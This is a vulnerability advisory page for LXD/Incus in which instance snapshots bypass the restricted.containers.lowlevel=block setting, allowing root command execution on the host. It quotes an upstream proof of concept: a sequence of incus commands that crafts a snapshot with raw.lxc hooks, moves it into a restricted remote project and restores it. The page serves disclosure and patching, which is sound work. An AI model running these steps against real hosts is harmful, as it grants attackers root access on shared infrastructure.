GITHUB.COM/CANONICAL/LXD · GHSA-47w9-6r3f-938g · Infrastructure
FIX → 0.0.0-20260630083100-c5184be310b1
LXD instance snapshots ignore the restricted.containers.lowlevel=block setting, so a crafted snapshot with raw.lxc or raw.qemu hooks can be restored into a restricted project. An attacker who can move and restore snapshots gets arbitrary command execution on the LXD host with root privileges.
first public Nov 6, 2026 · 1 source
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Hosts running LXD where some projects are restricted and others are not, and where users or remotes can move or restore instance snapshots between them. Single-project or fully trusted LXD setups are less exposed. The sources do not say whether managed hosting is affected.
Not affected if no-restricted-projects, single-project-host
Who cares cwe-862, go, linux, lxd, self-hosted
lxd --version and compare it with the fixed version below.restricted.containers.lowlevel=block and whether snapshot restore or move is allowed into them.Upgrade to 0.0.0-20260630083100-c5184be310b1
c5184be310b1 (go module pseudo-version ); the sources do not give a release tag.Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc=
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
0.0.0-20260630083100-c5184be310b1This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.